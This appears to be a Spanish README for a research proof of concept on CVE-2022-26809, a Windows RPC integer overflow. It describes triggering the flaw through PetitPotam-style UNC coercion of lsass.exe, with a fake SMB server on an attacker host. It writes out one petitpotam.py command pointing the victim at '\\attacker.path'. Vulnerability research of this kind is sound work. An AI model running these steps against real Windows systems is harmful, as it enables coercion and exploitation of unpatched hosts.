
PoC y análisis para CVE-2022-26809, una vulnerabilidad de desbordamiento de enteros en el runtime RPC de Windows. Incluye scripts de activación que usan relay de ruta UNC estilo PetitPotam para explotar lsass.exe mediante peticiones ESFRPC.
Este repositorio es simplemente una investigación sobre el CVE; para un análisis más detallado, consulta aquí.
ACTUALIZACIÓN:05/19 2022
Este análisis aún no ha sido terminado....
ACTUALIZACIÓN:05/22 2022
El Post de HuanGMz y el blog de corelight muestran el punto vulnerable real:
OSF_CASSOCIATION::ProcessBindAckOrNak

Esta vulnerabilidad se desencadena como CVE-2021-43893; al enviar la solicitud ESFRPC a lsass.exe con ruta UNC, la víctima intentará acceder al objetivo como cliente, por lo que provocará un desbordamiento de enteros en la API del cliente.
Si tienes una mejor solución para desencadenar esta vulnerabilidad, no dudes en enviar un issue o un PR :)
Debido a que la vulnerabilidad se desencadena de manera similar a CVE-2021-43893, simplemente clona el código de PetitPotam.
Simplemente prepara el entorno tal como se muestra aquí:

fake_smb_server.py en el servidor atacante después de reemplazar el rpcrt.py con el original (**Debido a que el puerto 445 ha sido ocupado por System en Windows, se recomienda implementar el servicio en Linux **python petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug "user:[email protected]" "\\attacker.path\realfile
lsass.exe (Sin embargo, no he logrado desencadenar el BSoD, pero según windbg, el desbordamiento de enteros se ha desencadenado)Descripción anterior
Aquí está el código de reproducción para la vulnerabilidad de RPC de Windows CVE-2022-26809, y hace referencia a https://github.com/microsoft/Windows-classic-samples/blob/main/Samples/Win7Samples/netds/rpc/hello.
Mi versión de Python es 3.6.7
No estoy seguro de si GetCoalescedBuffer está involucrado en el CVE-2022-26809 real, solo lo mantengo.
el poc.py solo intenta desencadenar la función vulnerable OSF_SCALL::GetCoalescedBuffer, no causará ningún crash porque el desbordamiento de enteros dword es demasiado difícil de reproducir. Y el rpcrt.py es el paquete de Python impacket.dcerpc.v5.rpcrt; solo reemplázalo con el original para desencadenar la vulnerabilidad (Recuerda hacer una copia de seguridad del original :) Creo que el rpcrt.py tiene una gran cantidad de errores).
Si no funciona, quizás wireshark pueda ayudar a localizar el error.
si es necesario, simplemente usa nmake para recompilarlo